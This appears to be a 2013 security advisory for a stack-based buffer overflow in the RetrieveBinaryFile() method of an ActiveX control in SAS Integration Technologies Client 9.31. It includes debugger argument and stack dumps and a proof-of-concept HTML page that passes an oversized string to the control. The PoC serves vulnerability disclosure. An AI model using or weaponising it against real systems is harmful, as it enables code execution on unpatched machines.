<!-- SAS Integration Technologies Client 9.31_M1 (SASspk.dll) Stack-based Overflow Vendor: SAS Institute Inc. Product web page: http://www.sas.com Affected version: Deployment Manager 9.3.0.0 (Model 12.05, TS1M2) SAS Integration Technologies Client 9.31_M1 Summary: SAS Integration Technologies provides you with software that enables you to build a secure client/server infrastructure on which to implement SAS distributed processing solutions. With SAS Integration Technologies, you can integrate SAS with other applications in your enterprise; provide proactive delivery of information from SAS throughout the enterprise; extend the capabilities of SAS to meet your organization's specific needs; and develop your own distributed applications that leverage the analytic and reporting powers of SAS. The SAS Deployment Manager is used for post-installation configuration tasks such as configuring some products, applying hot fixes, updating metadata, and uninstalling SAS software. Desc: The SASspk module (SASspk.dll) version 9.310.0.11307, has a function called 'RetrieveBinaryFile()' which has one parameter called 'bstrFileName' which takes arguments as strings as defined in the function itself as ISPKBinaryFile from the SASPackageRetrieve library. Stack-based buffer overflow was discovered in one of the fuzzing processes that could allow arbitrary code execution by an attacker when exploiting the non-sanitized 'bstrFileName' parameter. ====================================================================== ArgDump: -------------------------------------------------- EBP+8 007EA404 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA EBP+12 0016EB30 -> 00000000 EBP+16 00940E68 -> BAADF00D EBP+20 41414141 EBP+24 41414141 EBP+28 41414141 Stack Dump: -------------------------------------------------- 1699E0 60 0E 94 00 00 00 00 00 01 00 00 00 60 0E 94 00[<code>...........</code>...] 1699F0 30 28 00 00 00 00 00 00 00 00 00 00 E4 EA 16 00[................] 169A00 33 DF 4D 00 04 A4 7E 00 30 EB 16 00 68 0E 94 00[..M.........h...] 169A10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41[................] 169A20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41[................] ====================================================================== Tested on: Microsoft Windows 7 Ultimate SP1 EN (32/64bit) Microsoft Windows 7 Enterprise EN (32/64bit) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5142 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5142.php 20.04.2013 --> <html> <title>SAS Integration Technologies Client ActiveX Stack BoF 0-day</title> <body> <object id='smash' classid='clsid:DDF47362-6319-11D4-87C0-00C04F48BC53' /> <script> function run() { targetFile = "C:\Program Files\SASHome\x86\Integration Technologies\SASspk.dll" prototype= "Function RetrieveBinaryFile ( ByVal bstrFileName As String ) As ISPKBinaryFile" memberName = "RetrieveBinaryFile" progid = "SASPackageRetrieve.SPKRetrieve" argCount = 1 arg1=String(5140, "A") smash.RetrieveBinaryFile arg1 } </script><center><br /><br /> <input language=JavaScript onclick=run() type=button value="Test"> </center> </body> </html> |
